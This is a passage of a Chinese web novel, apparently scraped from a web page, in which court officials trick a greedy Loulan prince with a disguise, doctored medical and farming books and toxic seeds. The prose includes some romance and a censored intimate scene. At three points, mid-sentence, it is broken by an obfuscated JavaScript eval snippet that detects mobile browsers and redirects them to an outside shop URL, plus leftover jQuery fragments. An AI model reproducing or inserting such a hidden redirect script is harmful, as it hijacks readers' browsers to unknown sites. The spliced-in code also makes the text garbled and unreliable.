燕修延眼珠一转:“让他们多给我们进贡良驹战马便是。” 虞睿祥抬手递了一支笔给燕修延,笑着道:“朕也正有此意,让他们主动多送战马。” 二人各自拿起纸笔,低头落笔。 待写完同时举起纸张,只见纸上赫然写着一模一样的四个大字【楼兰大王子】。 唯一的区别便是,虞睿祥的字迹笔走龙蛇、肆意潇洒,尽显帝王霸气;而燕修延的字迹,嗯,勉强让人看懂。 谢伟恒拿起燕修延写的那张纸,细心地折叠好收进袖中。 语气清淡,听不出喜怒:“陛下与燕大人当真是默契十足。” 虞睿祥瞥了一眼燕修延:你家的人,你自己哄好。 燕修延立刻回瞥过去:是你惹出来的事,你哄。 谢伟恒看着二人眉来眼去,轻轻叹了口气,语气带着几分刻意的委屈:“燕大人都不曾与我这般深情对视、眉目传情过。” 虞睿祥嘴角一抽,无奈地看着谢伟恒:“伟恒,你这话可就扯得没边了。” 燕修延抱着胳膊,仰头看着房梁,装作事不关己的模样。 谢伟恒目光落在虞睿祥身上。 虞睿祥忽然像是想到了什么,试探着开口:“伟恒与修延自然是天底下最有默契的人。不信的话你们随朕去私库,各拿一件东西,若是心意相通便算朕说的没错。” 燕修延立刻放下抱着的胳膊,眼睛亮晶晶地看向虞睿祥:“白拿哦?不用还的那种?” 虞睿祥看着他满眼算计的模样,心里暗自肉痛,却还是不情不愿地点了点头。 谢伟恒眉眼微弯,语气平淡却带着几分应允:“既然陛下这般说,那臣便试一试。” 你听听这话说的,还勉强上了。 你就装模吧! 一个两个全都是演技派来的! 虞睿祥看着燕修延与谢伟恒手牵手,熟门熟路地走在前面。 忍不住吐槽:“你们两个去朕私库的路,走得比朕还要熟。” 燕修延立刻回头对着虞睿祥咧嘴一笑,露出一口整齐的白牙,语气格外乖巧:“不熟不熟,我们这不是跟着陛下您走嘛,哪里敢自己擅闯。” 虞睿祥:…… 燕修延挑了一支通体纯金打造、雕纹精致的酒壶。 谢伟恒选了一套与酒壶配套的纯金酒杯。 二人拿好东西,便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646315|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟着虞睿祥离开了私库。 燕修延擦了擦手中的金酒壶,笑嘻嘻地对着虞睿祥保证:“陛下尽管放心,定能让大王子犯下杀头大罪,到时候让楼兰主动献上无数战马。” 待二人告辞离开后,虞睿祥挥退了身边所有内侍,确认四下无人,当即撩开龙袍衣袍,对着空气狠狠踹了两脚,发泄着被两人联手算计的郁闷。 待整理好衣袍,脸上瞬间又恢复了九五之尊的威仪与冷峻,仿佛方才那副孩子气的模样从未出现过。 虞睿祥回到御书房,翻开桌上的奏折,想着方才燕修延与谢伟恒一唱一和的模样,忽的又笑了起来。 他心里其实挺羡慕燕修延肆意洒脱、无拘无束的性子,可他身为帝王,身负江山社稷,一言一行都受规矩束缚,断不能活得如此随性自在。 “好酒!” 燕修延回到府就迫不及待地用刚拿到的纯金酒壶斟满美酒,拿起金酒杯浅酌。 他眯着眼睛,轻轻晃着手中的酒杯,看着杯中澄澈的酒液,一脸满足地笑道:“这酒里都透着金子的味道,畅快!” 谢伟恒坐在他身旁,伸手拿起酒壶,替他把酒杯重新斟满:“我观陛下私库里,还有一套羊脂玉制的酒壶,质地温润,雕工更胜这金壶。” 燕修延给了他一个“你很上道”的眼神,端起酒杯与他轻轻一碰:“谢书令果然心思通透,今日在宫里演的这一出,差点连我都被你骗过去了,没想到陛下居然也心领神会到了。” 谢伟恒看着他,指尖轻轻摩挲着酒杯壁,待燕修延饮尽杯中酒,才缓缓开口:“我并非演戏。” 燕修延握着酒杯的手顿了顿,眼皮轻轻一跳:“嗯?” 谢伟恒仰头喝下自己杯中的酒,伸手揽过燕修延的腰,将人轻轻带入怀中,俯身贴上他的唇。 将口中的酒液缓缓渡了过去。 “今日燕主子,可要好好赏赐我一番。” 燕修延双手抵在谢伟恒的胸口,挑了挑眉,语气带着几分轻佻的不服输:“不过是一套纯金酒杯而已。” 谢伟恒低头,鼻尖轻轻蹭过他的脖颈,柔声提醒:“还有工部的事,若非我一句话,工部侍郎怎会轻易放行,陛下又怎会顺利应允?这些,可都得算在里头。” 说着,他重新倒了一杯酒,抬手递到燕修延嘴边,眼神温柔却带着不容拒绝的意味。 “这些都算啊?” 燕修延微微偏头,嘬了一口酒,砸吧砸吧嘴:“你这是变着法想灌醉我啊?” 谢伟恒握着酒杯的手微微倾斜,澄澈的酒液顺着燕修延的脖颈缓缓流下,浸湿了他的衣襟。 “不,是半醉,半醉才风情最盛。” 谢伟恒偏头吻上燕修延的颈侧,温柔又带着几分占有欲地吮去上面滑落的酒液。 燕修延伸手抓住谢伟恒的头发,脖颈后仰,依旧嘴硬:“这才喝了几杯,就想让我半醉?谢书令未免太小看我的酒量了。” 他空着的左手伸出去,拿起桌上的金酒壶,用力晃了晃。 空了。 明明没喝几杯,怎么就空了?怪不得此刻脑袋已经有些轻飘飘的。 “我说谢书令。” 燕修延低笑出声:“你这劝酒的功夫,当真是深藏不露啊。” 谢伟恒抬头在他泛红的脸侧轻轻亲了亲:“也要燕大人赏脸愿意喝,我这劝酒的功夫才有发挥的余地,不是吗?” 燕修延指尖放进谢伟恒的发丝中,主动吻上他的唇。 “好,今儿个,我好好赏赐你一番。” 燕修延f着谢伟恒的**放进自己的**,主动下去 …… (过程读者们自己想一下吧,作者尽力了,求过求过求过!!!) 158. 圆的像球 大虞京城的繁华,是楼兰国远不能及的。 车水马龙穿街过巷,朱楼画阁鳞次栉比,锦缎绸缎流光溢彩,珍馐佳酿香气漫街,这般泼天的富贵与热闹,彻底迷了大王子的眼。 他在驿馆中日日笙歌,寻遍京城花楼,那些软玉温香、柔情似水的风尘女子,起初让他流连忘返,可时日一长,便觉得索然无味。 他心底渐渐生出别的念想,尤其是那日在城郊庙会,远远瞥见一位端坐马车里的官家小姐。 身姿端庄,眉眼温婉,一颦一笑皆是大家闺秀的清雅气度,与楼兰女子的热烈奔放截然不同,那抹倩影就此扎进他心里,让他日夜念念不忘。 他愈发心痒,只想着在离京归国之前,能亲手碰一碰那温润如玉的纤纤素手,尝尝大虞官家千金的滋味。 国师将他的心思看得一清二楚,整日守在他身边苦口婆心规劝,官家小姐绝非他们能随意招惹的。 京城官场盘根错节,世家勋贵彼此牵连,势力深不可测。 若是不慎得罪,定会给楼兰使团招来灭顶之灾! “王子且耐心等候,待到他日楼兰国力强盛,取代大虞执掌天下之时,这大虞的所有官家小姐,尽数都是王子你的囊中之物。” 屋顶上的白天铎忍不住嫌弃地撇了撇嘴,眼底满是嘲讽。 大白天的,怎么总有人站着就做这般不切实际的春秋大梦? 家里没有镜子总有……也不掂量掂量自己的分量,真是可笑至极。 被国师浇灭了念想,大王子虽不再惦记高门官家小姐,可骨子里的贪欲半点未减。 楼兰的女子他早已看腻,便又琢磨着,既然不能碰名门闺秀,不如买几个样貌绝色、性情温顺的大虞女子带回楼兰,好好享用。 除了女色,他倒也生出几分务实的心思,转头看向国师:“国师,你派人去京城各大书坊转转,有没有记载农耕技艺的书籍,大虞土地肥沃,粮食丰产,定然有绝佳的耕种法子。” 最好能抓,不,是买几个技艺娴熟的农夫回去,让他们在楼兰封地种地。 国师原本还忧心他沉湎女色、误了使团正事,此刻见他竟惦记起大虞农耕技艺,心中顿时欣慰不已:“王子英明!除此之外,再购置一批医书和珍稀药材,一并带回楼兰,既能医治国民,也能壮大我楼兰底蕴。” 两人你一言我一语,兴致勃勃地商议着要带回楼兰的物件,全然不知这番对话一字不落地落入了暗处之人耳中。 转瞬便传到了燕修延的耳朵里。 燕修延端着茶盏“嘁”了一声。 真能想。 异想天开,什么好处都想占尽。 可转念一想,他们这般贪心,倒是正好可以利用。 燕修延坏笑起来,他叫住路过的温瑞。 “温家小姐,过来一叙。” 温瑞颠颠儿地跑过来,熟门熟路地拖过一把椅子,大马金刀地坐下,一脸习以为常:“头儿,又要我男扮女装去忽悠哪个不长眼的?” 跟在燕修延身边,男扮女装演戏骗人已是家常便饭,他早就轻车熟路。 燕修延指尖轻叩桌面:“楼兰大王子。” 温瑞脸上的笑容瞬间僵住,下意识地皱起眉,一脸抗拒:“圆的像球,圆拒了哈,看着都闹心,实在下不去手演。” 燕修延不言不语,只伸出食指和拇指,轻轻摩挲了几下。 温瑞眼睛瞬间亮了,方才的抗拒一扫而空,立马换上一脸谄媚的笑,身子往前凑了凑:“头儿,这价钱,是有大说道?” 燕修延点头,语气平淡却带着十足的诱惑力:“办成了,可在陛下面前,帮你好好说道说道,记上一功。” “头儿你快给我细细说道,要怎么忽悠大王子? 温瑞把椅子又往前拖了几分,凑到燕修延跟前:“是把他忽悠瘸了,还是直接忽悠废了?你尽管吩咐,我保证办得妥妥帖帖!” 燕修延将周密的计划一字一句告知于他:“你这样做……” “为什么每次都是我推你?” 朱语秋一边缓步推着轮椅,一边瘪着嘴小声抱怨。 温瑞身着柔粉色襦裙,鬓边簪着小巧珠花,脸上蒙着一层轻薄的素纱,只露出一双灵动明亮的眼眸。 右手握着一把素面团扇,指尖刻意翘成纤细的模样,轻轻摇着扇面,一举一动都学着大家闺秀的温婉轻柔。 “这个你问头儿去,可不是我非要抢着来。” 朱语秋撇撇嘴,他自然是问过,燕修延说她身形略高,站在温瑞身边,恰好能遮掩住温瑞略显壮实的身形,显得他更像体弱多病的闺阁小姐,这话让她无从反驳。 大王子心满意足地从驿馆里走出,准备再去京城街市寻欢作乐,抬眼便看见了轮椅上的“温家小姐”。 温瑞似是察觉到他的目光,缓缓抬眼,隔着薄纱看向他,眼眸弯成一抹温柔的弧度,眼底亮晶晶的,带着几分闺阁女子的娇羞与灵动。 只一眼,便勾走了大王子的魂。 他站在原地,直勾勾地盯着温瑞,眼神痴迷,半天挪不开脚步。 朱语秋适时按照计划开口,语气带着几分担忧与恭敬:“小姐,你要买书吩咐奴婢去就行了,你为何非要自己出来吹风?” 温瑞轻轻叹了口气,声音轻柔婉转,带着淡淡的愁绪:“总在家中闷着,不见天日,我心里实在难受,只想出来透透气。” “这位小姐,可是要去书坊?” 大王子心头酥痒,再也按捺不住,连忙整理了一下身上的衣袍,下意识地扶了扶自己圆滚滚的肚子,努力学着大虞文人的模样,笨拙地拱手行礼:“小生正巧也要前往书坊,不知小姐想买何种书籍,若是顺路,也好有个照应。” 当初国师逼着他学习大虞官话时,他满心抵触,百般不愿,此刻却暗自庆幸,亏得国师坚持,不然今日连搭话的机会都没有。 他满心得意,只觉得自己此刻温文尔雅,定然像极了大虞的文雅书生,能博得眼前小姐的青睐。 小……生? 朱语秋和温瑞皆是在心底狠狠一震,强忍着才没笑出声。 谁家小生长得这般圆胖? 整个人站在那里,活脱脱一个圆滚滚的球! 那爪子又短又胖——也可能是因为胖显得短。 温瑞强压下心头的笑意,用团扇轻轻压住脸上的薄纱,摆出一副端庄谦和、恪守礼教的模样,轻声回应:“小女准备购置几本医书,公子与我并不相熟,若是一同前往书坊,恐遭路人非议,多有不妥,便不劳公子费心了。” 朱语秋配合着摆出护主的模样,快言快语地开口阻拦,语气带着几分警惕:“这位公子,我家小姐尚未婚配,乃是待字闺中的清白女子,若是与陌生男子同行,传出去定会有损我家小姐清誉,还请公子自重,莫要再靠近。” 大王子一听“尚未婚配”四个字,眼睛瞬间亮了起来,心底更是欣喜若狂。 没婚配好啊,是未出阁的黄花大闺女,正是他心心念念的类型! 朱语秋不想再多做纠缠,推着轮椅快步往前走,只想尽快甩开他。 可大王子哪里肯放过这送上门的机会,连忙迈开步子快步跟上,却又不敢靠得太近,始终保持着几米远的距离。 一路不远不近地跟着两人,径直走进了谢家名下的书坊。 温瑞抬眼扫过架上的书籍,抬手轻轻指了指其中几册,柔声对朱语秋说:“秋儿,把那几本书拿给我看看。” 朱语秋依言上前,取下书架上的书籍,恭敬地递到温瑞手中。 一直目不转睛盯着温瑞的大王子,顺势看清了书封上的大字。 全是医书! 温瑞故作认真地翻看了几页,随即轻轻点头,柔声吩咐:“这几册皆是医术入门的典籍,讲解浅显易懂,都买下吧,我院子里的空地,正好可以用来栽种些药材,研习医术。” 朱语秋应声,随手又从身侧书架拿起一本厚厚的书籍,递到温瑞手里:“小姐,依我看,种药材不如种蔬菜, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646316|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开花结果还能采摘食用,更实在些,您看这可是农圣亲笔所著的农耕书籍,里面全是耕种的诀窍。” 大王子心头狂喜,连忙默默记下这本书的名字。 真是得来全不费工夫! 这位小姐,简直是上天派来的贵人! 温瑞翻看了几页农耕书籍:“既然如此,那就一并买下吧,整日在院子里对着一棵枯树,着实无趣,种些东西打发时间也好。” 朱语秋抱着选好的书籍去柜台付账,一边掏钱一边又随口说道:“那今日顺便把菜种和药材种子也一并买了,回去就能直接栽种,省得再跑一趟。” 温瑞微微颔首,语气温柔:“好,都依你。” 朱语秋把书籍轻轻放在温瑞腿上,小心翼翼地推着轮椅往外走。 大王子赶紧连忙快步上前,照着温瑞刚才选书的样子,把那几本医书和农耕书尽数买下,又紧跟着两人的脚步。 他跟着两人依样画葫芦地买了一大堆种子,满心欢喜地提在手里。 等他付完钱,朱语秋突然停下脚步,转过身,怒气冲冲地指着大王子的鼻子,厉声呵斥:“你到底是什么人?为何一直鬼鬼祟祟地跟着我家小姐?光天化日之下,这般行径未免太过无礼!” 大王子之前一心扑在温瑞身上,此刻被朱语秋呵斥,才留意到这个丫鬟。 虽不如小姐温婉柔弱,却有着几分娇俏泼辣的韵味,倒也别有一番风情。 他一手抱着书籍,一手提着种子袋,假惺惺地说道:“姑娘误会了,我只是顺路而已,并非有意跟随,姑娘太过小心了。” “秋儿。” 温瑞制止朱语秋,微微摇头,眼神温婉却带着几分疏离:“时间不早了,我们快些回去吧,切莫在外面与陌生人争执,徒生事端。” 朱语秋狠狠白了大王子一眼,满脸不屑,随即不再多言,推着温瑞转身离去。 被那一眼白眼瞥过,大王子非但不生气,反倒觉得心旷神怡,心底越发贪恋这主仆二人。 离开大虞京城之前,他一定要将这一主一仆尽数弄到手,好好享用! 大王子不远不近地跟在两人身后,牢牢记下了院落的地址。 随后他转身拦住街边一位路过的“路人”,故作随意地打听:“敢问兄台,这院落里住的是什么人家?” “路人”随口答道:“哦,那是城门守卫温大人家。” 城门守卫,应该是个微不足道的小官,这般家世,即便自己动了他家小姐,也掀不起什么风浪。 大王子抱着医书、农书,提着一大袋种子,兴冲冲地回到驿馆,一进门便得意洋洋地将东西摆在国师面前。 国师上前,满心惊喜地翻看着手中的书籍,越看越是欣喜,只觉得此次京城之行收获颇丰。 他们全然不知,驿馆隔壁的房间里,燕修延与谢伟恒早已在此等候。 燕修延左手抱着半个冰镇红瓤西瓜,右手拿着银勺,轻轻挖下一块清甜的瓜肉,顺势递到谢伟恒唇边。 “他们竟半点都不怀疑,这般顺利得手,就没想过可能是设下的圈套吗?” 谢伟恒微微张口,吃下西瓜,眉眼温和,语气淡然地说道:“贪婪之人,向来只会盯着眼前的好处,哪里会顾及背后的陷阱。他们自以为行事隐秘,密谋周全,却不知这天下,从来就没有不透风的墙。” 医书和农书只做了细微的文字与技法更改,除非是精通医术、深耕农耕的行家,否则根本看不出任何破绽。 至于种子,大王子拿到的不是可食用的粮食种子,而是大虞山野间随处可见的野草种子,不挑土地、生长速度极快,通体带有轻微毒性,别说用来充饥量产,若是误食,还会让人腹痛不止,久种更会败坏田地肥力。 国师其实也隐隐觉得,今日之事太过巧合顺利,心中略有疑虑。 但大王子说自己一路亲眼看着那对主仆回家,又特意打听清楚了温家只是普通小官世家,再加上手中书籍看着毫无破绽,便彻底打消了所有疑虑。 159. 现在还疼呢 燕修延指尖捏着勺子,对着西瓜最中心、最甜软的瓜心轻轻一挖,手腕微微用力,勺子顺着瓜纹利落一转,便将整块西瓜稳稳分成了两半。 他抬眼看向谢伟恒,眉眼间带着几分漫不经心,将其中一半往对方面前递了递:“喏,给你一半心。” 谢伟恒眸底漾开温柔的笑意,身子微微前倾,拉近了两人之间的距离,温热的呼吸拂过燕修延的耳畔:“我不要一半,我只想要燕大人全部的心。” 燕修延嫌弃地白了他一眼,原本递向谢伟恒的勺子转了个方向,将勺上的西瓜瓤塞进了自己嘴里。 “做人不能太贪心,适可而止才好。” “可我偏是个贪心的主。” 谢伟恒低笑出声,不等燕修延再开口,抬手轻轻抬起燕修延的下巴,俯身便吻了上去。 西瓜的清甜在两人之间弥漫开来,软糯的瓜瓤混着彼此的温度,甜得醉人。 不经意间,清甜的西瓜汁顺着燕修延的嘴角滑落,顺着下颌线,一滴一滴淌到了谢伟恒覆在他脸颊的手背上。 谢伟恒微微后撤,指尖轻轻拂过自己的唇角,舔去残留的西瓜汁水,又低头将手背上沾着的汁液慢慢吮入口中,抬眼看向燕修延。 “很甜,比这西瓜还要甜。” 燕修延面无表情地将嘴里的西瓜咽下去:“你故意的。” 谢伟恒不恼反笑,伸手端过桌上的清茶沾湿了手边柔软的锦帕,动作轻柔地替燕修延擦拭着嘴角残留的汁水,指尖不经意擦过他的唇瓣。 “另一半,还吃么?” 燕修延哼笑一声,伸手拿起剩下的那半块西瓜心塞进谢伟恒嘴里。 不等谢伟恒反应,他倾身向前再次咬住对方的嘴唇,将那抹清甜彻底夺了过来。 这边房间吃西瓜,隔壁房间传来的说话声,大王子要国师帮他想办法,把“温家小姐”和丫鬟弄到手。 燕修延收敛了眼底的柔情,眉头微挑,轻轻推开谢伟恒,竖起耳朵仔细聆听隔壁的动静,周身的气息瞬间变得沉静敏锐。 谢伟恒被推开,眼底闪过一丝委屈,凑到燕修延耳边轻轻咬了一下他的耳垂:“燕大人总是这样,用完就丢,半点不念及方才的情意。” 燕修延脚下微微用力,穿着锦靴的脚在谢伟恒的脚背上轻轻一踩,留下一个清晰的鞋印:“喏,我付过钱了,你闭嘴,先听他们说什么。” 国师眉头紧锁,面露难色,沉吟片刻才缓缓开口:“王子殿下,若是真心喜爱这位姑娘,不妨直接向大虞皇帝提出求娶。想来大虞皇帝为了增进两国邦交,不会吝啬送出一个小小官员家的女儿。” 大王子撇了撇嘴,满脸不屑,大虞如今对楼兰态度冷淡,他心里再清楚不过:“大虞根本不太想跟我们增进友谊,多送他们两百匹战马,他肯定就立马把人乖乖塞到我床上了。” 国师张了张嘴想要劝阻,却又不知从何说起:“这……王子殿下,此事恐怕不妥……” “没什么不妥的,就这么定了,我现在就去见大虞皇帝!” 大王子性子急躁,当即拍板,转身就往门外走,压根不听国师的劝阻。 国师看着他鲁莽的背影,想要上前阻拦,可转念一想又作罢了。 用战马换女子,总好过大王子直接强抢,到时候惹怒大虞皇帝,引发两国争端,后果不堪设想。 燕修延靠在窗边,看着大王子挺着圆胖的身子,脚步匆匆地往皇宫方向。忍不住同情地摇了摇头。 刻意安排的人撞到国师,阻拦了他跟上大王子的脚步。 他对着谢伟恒低声嗤笑:“我要是国师,铁定在心里骂这位大王子是个不折不扣的败家玩意儿。” 但他是大虞的子民,只觉得大王子是真抠门,好歹也得五百匹战马起步啊。 “温家小姐”那般绝色美人,他居然才舍得拿出两百匹战马,这点诚意也敢来求娶美人。 虞睿祥听完大王子的求娶之意,心底的想法与燕修延如出一辙。 他端坐在龙椅上,神色淡然,看着站在下方的大王子:“温家小姐,朕也有所耳闻,此女知书达礼,琴棋书画样样精通,更是难得的文武双全,骑马射箭无一不精,京中诸多尚未婚配的世家公子,都对她倾心不已。” 这番话明着是夸赞温家小姐,实则是在提醒大王子,两百匹战马的聘礼,实在太少,远远配不上这位温家小姐。 大王子也不傻,瞬间听出了虞睿祥的言外之意。 一想到温家小姐那双明亮动人的眼眸,还有她身边那个泼辣灵动的丫鬟,心底的占有欲越发强烈,咬牙狠了狠心,开口加码:“我愿意再加筹码,用五百匹战马作为聘礼,求陛下成全!” 内侍快步走进御书房,躬身通传:“陛下,温大人求见。” 虞睿祥眼底闪过一丝笑意,抬眸吩咐:“正好,正主的父亲来了,宣。” 温大人——温瑞大步走进御书房,身姿挺拔,对着虞睿祥恭敬行礼:“微臣参见陛下,陛下万安。” “免礼平身。” 虞睿祥抬手示意,随即看向大王子,对温瑞说道:“温卿,你来的正好,这位是楼兰大王子鄯漠云舟,此番前来特意向朕求娶你家女儿。” 大王子连忙看向温瑞,上下打量一番,当即笑着夸赞:“温大人气度不凡,令千金定然是随了大人,才生得这般貌美,本王子真心实意,想要求娶令千金,绝不委屈了她!” “你?” 温瑞抬眼,上下扫了大王子一圈,看着他圆胖臃肿的身形,当即吹胡子瞪眼:“痴心妄想!就你这模样,长得跟头肥猪似的,也配得上我家姑娘?” 虞睿祥指尖状似随意地轻点着脸颊,淡淡开口提醒:“温卿,慎言。” 再这么用力吹气,这胡子都要翘上天了。 温瑞连忙跪下身去,借着低头行礼的空档,偷偷伸手把翘起来的胡子按了回去,正色说道:“陛下,并非微臣抗旨,实在是臣这女儿,从小心高气傲,性子执拗,一心只想嫁给未来的状元郎,旁人她半点看不上,微臣也实在没法子啊!” 虞睿祥见状,转头看向大王子露出一脸爱莫能助的神情:“大王子,实在抱歉,我大虞素来讲究婚姻之事,父母之命媒妁之言,如今温卿执意不肯,朕身为君主,也不能强行指婚,委屈了温家小姐。” 温瑞一听,立马装作松了一大口气的样子,重重叩首,高声谢恩:“臣,叩谢陛下体谅!” 那急切的模样,生怕虞睿祥下一秒就反悔,强行把他“女儿”许给大王子。 大王子看着温瑞这副态度,气得脸色铁青,胸口剧烈起伏。 他可是楼兰的大王子,未来的楼兰君主,如今竟被一个大虞小官如此轻视,简直是奇耻大辱! 可碍于虞睿祥在场,他不敢当场发作,只能强压着怒火。 温瑞站起身,对着虞睿祥拱手道:“陛下,臣还有要事相禀。” 说着,斜睨了大王子一眼,眼神里的嫌弃毫不掩饰。 分明是在说:赶紧走,别杵在这里碍眼! 虞睿祥对着大王子意点头: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646317|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “还请大王子先移步偏殿暂候,朕与温卿商议完朝政,再与王子细说。” 大王子强忍着心头怒火,一言不发地转身离开御书房。 到偏殿,他便黑着脸将殿内的宫人全部赶走。 抓起桌上果盘里的鲜果,狠狠攥在手心,任由汁水四溅,将水果捏得稀碎,以此发泄心中的怒气。 温瑞抿着嘴唇低着头兢兢业业地憋笑,心里暗自吐槽:谁家好人家的王子,圆得跟个球似的,还取名叫漠云舟,实在是滑稽至极。 虞睿祥对温瑞并不算熟悉,却也知晓他与燕修延是一路人,都是爱财惜财的性子。 他看着低头站着的温瑞,缓缓开口:“温瑞,你既燕与鄯云帛月成亲,朕赐你白银五百两,作为贺礼。” 温瑞收起眼底的笑意,脸上露出真切的欢喜,连忙躬身行礼谢恩:“臣谢陛下隆恩,陛下万岁万岁万万岁!” 领旨之后,便高高兴兴地退下,虞睿祥还特意准许他前去见鄯云帛月。 偏殿里大王子的一举一动,都有内侍悄悄看在眼里,一字不落地传回了虞睿祥耳中。 约莫过了半个时辰。 虞睿祥才缓缓搁下手中的朱笔,合上批阅完的奏折,命人将大王子重新带回御书房。 虞睿祥看着面色依旧难看的大王子,故作沉吟地开口:“大王子既有联姻之意,朕也不愿拂了你的心意,可为你另行指一门门当户对的婚事。” 大王子此刻满心都是被温瑞轻视的屈辱,还有对温家小姐的执念,一心只想找回面子:“我不要旁人,只要温家小姐!” 虞睿祥面露难色,轻轻叹了口气,一脸为难:“朕,实在不能强人所难啊,除非……罢了,此事不提也罢,来人啊,送大王子出宫。” 大王子正想听皇帝口中“除非”之后的办法,没想到话没听到,就被三个内侍客客气气却又不容抗拒地“请”出了御书房。 他心有不甘,扭头就想往回闯,却被内侍牢牢拦住。 其中一个内侍压低声音悄悄说道:“王子殿下,奴才斗胆说一句,除非你能和温家小姐生米煮成熟饭,到时候温家为了姑娘清誉,自然只能点头应允,否则陛下实在无法替你二人赐婚。” 另一个内侍也跟着附和:“是啊王子殿下,此事确实难办,你就别再为难陛下了,先请回吧。” 生米煮成熟饭…… 大王子停下挣扎的脚步,嘴里喃喃重复着这六个字,原本愤怒的眼底,瞬间闪过一丝阴狠的笑意。 这倒是个好主意! 大虞的女子最看重贞洁清誉,只要他能把温家小姐弄到手,让两人生米煮成熟饭,到时候那个温瑞,就算哭着喊着,也得把女儿嫁给自己! 等到那个时候,他别说五百匹战马,半匹马都不会再拿出来! “啧啧啧。” 燕修延看着大王子远去的背影,忍不住连连摇头:“看见他那个表情没?左脸明晃晃写着‘禽’,右脸写着‘兽’,真是又蠢又坏,我都替那位‘温家小姐’觉得不值,心疼得很。” 谢伟恒无奈地轻叹一声,伸手牢牢握住燕修延的手,将他的手轻轻按在自己的心口:“你满心都在旁人身上,怎么不见燕大人心疼心疼我?方才你踩我那一脚,到现在还疼呢。” 虞睿祥这段时间被沈黎卿赶到御书房独宿,满心郁闷,此刻看着眼前两人旁若无人的腻歪,顿时一脸黑线。 “……朕还在这儿呢,你俩要恩爱,赶紧回家关起门来,爱怎么心疼、怎么腻歪都行,别在朕眼前晃悠!” 160. 你到底丢不丢? 大王子心里跟明镜似的,国师断然不会容许他对温家小姐行强取之事。 他懒得跟国师多费唇舌,一回驿馆便寻了国师,面不改色地扯了个弥天大谎:“大虞皇帝已然应允我与温家小姐的婚事,此事再无变数。” 国师垂在身侧的指尖微微蜷缩,心头无端涌起一股难以言喻的不安,像是有一根细弦在心底紧紧绷着,稍一触碰便会断裂。 他望着大王子志得意满的侧脸,眸底掠过一丝疑虑,却终究没再多问,只默默将那份蹊跷压在心底。 白天他想跟着大王子一同进宫,可他刚踏出驿馆大门,不过几步远,便被一个浑身酒气、步履踉跄的酒鬼猛地撞了个正着。 酒鬼像是算准了时机,一把死死揪住他的衣袍,瘫坐在地上撒泼打滚,嘴里污言秽语不断,一口咬定国师撞坏了他的东西,非要赔钱不可。 国师被酒鬼身上的酸腐酒气熏得眉头紧蹙,耐着性子拿出银两打发。 谁知那酒鬼得了钱依旧不依不饶,死死拽着他的衣摆不肯松手。 驿馆的侍从闻声连忙赶来,七手八脚地想要拉开酒鬼,场面一时混乱不堪。 混乱之际,酒鬼猛地起身,一股浑浊的酒渍秽物尽数吐在了国师的衣袍上,浅青色的锦袍污渍斑斑,刺鼻的气味扑面而来。 国师脸色沉得能滴出水来,强压着心头的愠怒与嫌恶,转身匆匆回了自己的客房,想要洗漱更衣,换一身干净衣袍。 可唤了驿馆侍从,却被告知今日热水未曾备好,需得现去厨房烧煮,一时半会儿根本用不上。 大王子跟国师说完那番话后,便满心欢喜地回了自己房间,盘算着与温家小姐的事,丝毫没察觉国师的异样。 国师坐在椅上总觉得不踏实,平日里驿馆皆是提前备好的热水,从无这般仓促失礼的情况,今日种种巧合实在太过蹊跷。 他越想越觉得心神不宁,终究按捺不住起身悄无声息地朝着驿馆厨房走去,想要一探究竟。 刚走到厨房门外,还未推门,便听见里面传来杂役们压低声音的吵嚷与骂咧。 “真真是晦气透顶!我就这么一次偷懒没提前烧热水,偏偏那个什么国师就赶着要用,害得我被管事狠狠骂了一顿!” “咱们本就是干伺候人的活儿,是你自己疏忽大意没做好本分,被骂了也是活该,可怨不得别人。” “嘿!你倒是帮着外人说起话来了?” “话不能这么说,那终究是外地来的使臣,传出去外人还以为我们大虞苛待外使,丢的是咱们大虞的脸面。” “懒得跟你掰扯!哼!” 国师站在门外,指尖缓缓收紧,心头那点不安稍稍散去,只当真是驿馆杂役失职,并非有人刻意设计。 他转身回了自己的房间,全然未曾察觉,暗处早已有人将他的一举一动尽收眼底。 白天铎悄无声息地趴在窗沿边,目光紧紧追着国师离去的背影,满眼皆是崇拜与敬佩:“头儿也太厉害了!简直料事如神,连国师会疑心去厨房探查都算得一清二楚,这计谋天衣无缝!” 肖泽随手拿起厨房提前备着的点心,咬了一口,又拿起一块塞进白天铎嘴里:“少在背后偷偷夸,回头当着头儿的面好好说。” 总在背后夸赞,真见了燕修延又总是满嘴跑火车,说些挨揍的浑话。 白天铎嚼着香甜的点心,眉眼弯弯,只觉得满口生津,索性直接将整碟点心都端到自己面前,含糊不清地说道:“那你可得记得提醒我,别让我忘了。” 